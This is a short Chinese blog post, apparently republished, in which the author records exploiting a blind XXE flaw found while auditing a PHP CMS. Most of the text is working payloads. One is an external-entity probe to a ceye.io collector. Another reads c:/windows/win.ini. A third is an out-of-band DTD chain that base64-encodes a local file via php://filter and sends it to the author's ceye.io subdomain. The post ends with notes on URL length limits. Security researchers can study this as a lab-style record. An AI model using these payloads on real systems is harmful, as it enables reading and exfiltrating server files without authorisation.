其他分享
首页 > 其他分享> > xxe盲注踩坑

xxe盲注踩坑

作者:互联网

 

 

 

 

 

今天审计某php语言的cms,发现一个xxe,原理很简单,但是用他读取文件时踩了个坑,记录一下

使用ceye平台接收下

poc:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ckcvlb.ceye.io/xxe_test">
%remote;]>
<root/>

 

尝试读取文件

poc:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:///c:/windows/win.ini">
%remote;]>
<root/>

 

发现只能读取极少的内容,于是决定用oob来

 

poc:(由于审计代码时在本地,所以当时用的127.0.0.1,没有用公网服务器)

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data [<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini"><!ENTITY % dtd SYSTEM "http://127.0.0.1/oob_poc.xml">%dtd; %all; ]> <value>&send;</value>

oob_poc.xml内容:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ckcvlb.ceye.io/%file;'>">

 

 把请求后面的参数拿去base64解码即可。

说下我踩的坑:我一直想去读index.php文件

 

 半天不知道什么愿意,后来网上查有人说是 外部实体中的 URI 有长度限制导致无法获取到

也有可能是大文件base64编码后内容也会非常多,放在url后面太长了,而url本身长度是有限制的

 

标签:文件,读取,oob,base64,xxe,盲注,poc
来源: https://www.cnblogs.com/jinqi520/p/11317103.html